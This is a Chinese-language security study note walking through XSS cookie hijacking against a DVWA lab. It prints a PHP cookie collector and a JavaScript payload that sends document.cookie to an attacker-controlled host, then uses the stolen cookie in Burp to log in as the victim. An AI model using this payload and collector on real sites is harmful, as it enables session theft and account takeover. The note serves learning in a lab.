web安全學習筆記(八) XSS之cookie劫持

上一文中提到XSS的分類,本文將演示如何通過XSS進行cookie劫持,並且僞裝登錄。

再cookie劫持中,有三種身份,分別是服務器,普通用戶以及攻擊者。這裏使用本機和兩臺臺虛擬機完成這項工作。基本思路如圖所示:
在這裏插入圖片描述
首先,攻擊者發現某個網站存在XSS漏洞,於是編寫惡意代碼。當用戶訪問帶有惡意代碼的網站時,會將通過惡意代碼,將cookie發送給攻擊者。當攻擊者獲取cookie後,便可以使用cookie進行登錄。
作爲攻擊者,首先在本地編寫GetCookie.php:

<?php
if(isset($_GET['cookie']))
{
    $myfile = fopen("./cookie.txt", "a") or die("Unable to open file!");
    $cookie = $_GET['cookie']."\n";
    fwrite($myfile, $cookie);
    fclose($myfile);
    echo "success";
}
else
    echo "fail";

當獲取一個cookie時,便保存到本地cookie.txt。
hack.js:

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.85.128/GetCookie.php?cookie='+encodeURIComponent(document.cookie);

創建一個長和寬均爲0的圖像,然後調用GetCookie.php,獲取cookie。
攻擊者發現,在http://192.168.85.129/dvwa/vulnerabilities/xss_s/頁面存在存儲型XSS漏洞,便插入惡意代碼:
在這裏插入圖片描述
當普通用戶訪問頁面時,便會調用192.168.85.1/hack.js, 將cookie發送給攻擊者。
提交這段信息後,查看網頁源代碼,發現已經成功插入:
在這裏插入圖片描述
現在使用本機(普通用戶)進行登錄,當訪問到存在XSS存儲漏洞的頁面時,
在這裏插入圖片描述
在這裏插入圖片描述
可以在控制檯看到,由於存在XSS漏洞,普通用戶分別請求了hack.js 和 GetCookie.php,並將自己的cookie已經發送給了攻擊者。
攻擊者也在本地看到了普通用戶的cookie:
在這裏插入圖片描述
當攻擊者獲取了這個cookie以後,便可以僞造普通用戶進行登錄。
當訪問http://192.168.85.129/dvwa/時,發現由於沒有登錄,所以被重定向到了login界面:
在這裏插入圖片描述
此時,打開burp,攔截登錄的數據包:
在這裏插入圖片描述
替換數據包中的cookie字段爲普通的cookie

在這裏插入圖片描述
點擊forward發送數據包,可以發現,即使沒有輸入賬號和密碼,也可以作爲被盜取cookie用戶的身份進行登錄了。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章